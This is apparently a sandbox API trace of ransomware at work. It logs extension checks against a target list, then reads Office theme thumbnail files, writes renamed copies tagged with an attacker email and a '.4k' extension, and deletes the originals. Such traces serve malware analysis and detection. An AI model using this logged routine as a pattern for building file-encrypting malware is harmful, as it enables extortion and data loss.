	[0105.417] lstrlenW (lpString=".ppt") returned 4
	[0105.417] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString=".zip") returned 4
	[0105.417] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.417] lstrlenW (lpString=".rar") returned 4
	[0105.417] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.417] lstrlenW (lpString=".bz2") returned 4
	[0105.417] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString=".7z") returned 3
	[0105.417] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString=".dbf") returned 4
	[0105.417] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString=".1cd") returned 4
	[0105.417] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString=".jpg") returned 4
	[0105.417] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.417] lstrlenW (lpString=".doc") returned 4
	[0105.417] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.417] lstrlenW (lpString=".docx") returned 5
	[0105.417] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.418] lstrlenW (lpString=".pdf") returned 4
	[0105.418] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.418] lstrlenW (lpString=".xls") returned 4
	[0105.418] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.418] lstrlenW (lpString=".xlsx") returned 5
	[0105.418] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.418] lstrlenW (lpString=".ppt") returned 4
	[0105.418] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.418] lstrlenW (lpString=".zip") returned 4
	[0105.418] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.418] lstrlenW (lpString=".rar") returned 4
	[0105.418] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.418] lstrlenW (lpString=".bz2") returned 4
	[0105.418] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.418] lstrlenW (lpString=".7z") returned 3
	[0105.418] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.418] lstrlenW (lpString=".dbf") returned 4
	[0105.418] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.418] lstrlenW (lpString=".1cd") returned 4
	[0105.418] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.418] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG") returned 75
	[0105.418] lstrlenW (lpString=".jpg") returned 4
	[0105.418] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.418] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.418] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.418] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.419] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=18413) returned 1
	[0105.419] CloseHandle (hObject=0x1d0) returned 1
	[0105.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20
	[0105.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.419] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.419] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.419] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.419] GetLastError () returned 0x0
	[0105.419] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x47ed, lpOverlapped=0x0) returned 1
	[0105.433] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x47f0, lpOverlapped=0x0) returned 1
	[0105.434] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.434] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.434] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.435] CloseHandle (hObject=0x1f8) returned 1
	[0105.435] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.435] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.435] CloseHandle (hObject=0x1d0) returned 1
	[0105.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.436] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1
	[0105.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.436] lstrlenW (lpString=".doc") returned 4
	[0105.436] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.436] lstrlenW (lpString=".docx") returned 5
	[0105.436] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.436] lstrlenW (lpString=".pdf") returned 4
	[0105.436] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.436] lstrlenW (lpString=".xls") returned 4
	[0105.436] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.436] lstrlenW (lpString=".xlsx") returned 5
	[0105.436] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.436] lstrlenW (lpString=".ppt") returned 4
	[0105.436] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.436] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.436] lstrlenW (lpString=".zip") returned 4
	[0105.436] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.436] lstrlenW (lpString=".rar") returned 4
	[0105.437] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.437] lstrlenW (lpString=".bz2") returned 4
	[0105.437] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.437] lstrlenW (lpString=".7z") returned 3
	[0105.437] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.437] lstrlenW (lpString=".dbf") returned 4
	[0105.437] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.437] lstrlenW (lpString=".1cd") returned 4
	[0105.437] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.437] lstrlenW (lpString=".jpg") returned 4
	[0105.437] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.437] lstrlenW (lpString=".doc") returned 4
	[0105.437] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.437] lstrlenW (lpString=".docx") returned 5
	[0105.437] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.437] lstrlenW (lpString=".pdf") returned 4
	[0105.437] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.437] lstrlenW (lpString=".xls") returned 4
	[0105.437] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.437] lstrlenW (lpString=".xlsx") returned 5
	[0105.437] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.437] lstrlenW (lpString=".ppt") returned 4
	[0105.437] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.437] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.437] lstrlenW (lpString=".zip") returned 4
	[0105.437] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.437] lstrlenW (lpString=".rar") returned 4
	[0105.438] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.438] lstrlenW (lpString=".bz2") returned 4
	[0105.438] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.438] lstrlenW (lpString=".7z") returned 3
	[0105.438] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.438] lstrlenW (lpString=".dbf") returned 4
	[0105.438] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.438] lstrlenW (lpString=".1cd") returned 4
	[0105.438] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76
	[0105.438] lstrlenW (lpString=".jpg") returned 4
	[0105.438] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.438] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.438] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.439] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=44850) returned 1
	[0105.439] CloseHandle (hObject=0x1d0) returned 1
	[0105.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 0x20
	[0105.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0
	[0105.439] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.439] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.439] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8
	[0105.440] GetLastError () returned 0x0
	[0105.440] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xaf32, lpOverlapped=0x0) returned 1
	[0105.523] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xaf40, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xaf40, lpOverlapped=0x0) returned 1
	[0105.524] ReadFile (in: hFile=0x1d0, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.524] WriteFile (in: hFile=0x1f8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.524] SetEndOfFile (hFile=0x1f8) returned 1
	[0105.524] CloseHandle (hObject=0x1f8) returned 1
	[0105.525] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.525] SetEndOfFile (hFile=0x1d0) returned 1
	[0105.526] CloseHandle (hObject=0x1d0) returned 1
	[0105.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.526] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png")) returned 1
	[0105.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.526] lstrlenW (lpString=".doc") returned 4
	[0105.526] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.527] lstrlenW (lpString=".docx") returned 5
	[0105.527] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.527] lstrlenW (lpString=".pdf") returned 4
	[0105.527] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.527] lstrlenW (lpString=".xls") returned 4
	[0105.527] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.527] lstrlenW (lpString=".xlsx") returned 5
	[0105.527] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.527] lstrlenW (lpString=".ppt") returned 4
	[0105.527] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.527] lstrlenW (lpString=".zip") returned 4
	[0105.527] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.527] lstrlenW (lpString=".rar") returned 4
	[0105.527] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.527] lstrlenW (lpString=".bz2") returned 4
	[0105.527] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.527] lstrlenW (lpString=".7z") returned 3
	[0105.527] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".dbf") returned 4
	[0105.528] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".1cd") returned 4
	[0105.528] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".jpg") returned 4
	[0105.528] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".doc") returned 4
	[0105.528] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString=".docx") returned 5
	[0105.528] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1
	[0105.528] lstrlenW (lpString=".pdf") returned 4
	[0105.528] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString=".xls") returned 4
	[0105.528] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1
	[0105.528] lstrlenW (lpString=".xlsx") returned 5
	[0105.528] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1
	[0105.528] lstrlenW (lpString=".ppt") returned 4
	[0105.528] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".zip") returned 4
	[0105.528] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1
	[0105.528] lstrlenW (lpString=".rar") returned 4
	[0105.528] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1
	[0105.528] lstrlenW (lpString=".bz2") returned 4
	[0105.528] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString=".7z") returned 3
	[0105.528] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".dbf") returned 4
	[0105.528] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1
	[0105.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.528] lstrlenW (lpString=".1cd") returned 4
	[0105.528] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1
	[0105.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG") returned 75
	[0105.529] lstrlenW (lpString=".jpg") returned 4
	[0105.529] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1
	[0105.529] lstrcmpiW (lpString1=".PNG", lpString2=".4k") returned 1
	[0105.529] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0105.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.739] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=48115) returned 1
	[0105.739] CloseHandle (hObject=0x1d8) returned 1
	[0105.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 0x20
	[0105.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0105.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0105.739] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.739] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c
	[0105.740] GetLastError () returned 0x0
	[0105.740] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbbf3, lpOverlapped=0x0) returned 1
	[0105.786] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xbc00, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbc00, lpOverlapped=0x0) returned 1
	[0105.787] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0105.787] WriteFile (in: hFile=0x21c, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0105.787] SetEndOfFile (hFile=0x21c) returned 1
	[0105.787] CloseHandle (hObject=0x21c) returned 1
	[0105.788] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0105.788] SetEndOfFile (hFile=0x1d8) returned 1
	[0105.789] CloseHandle (hObject=0x1d8) returned 1
	[0105.789] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0105.789] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\thmbnail.png")) returned 1
	[0105.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\THMBNAIL.PNG") returned 74
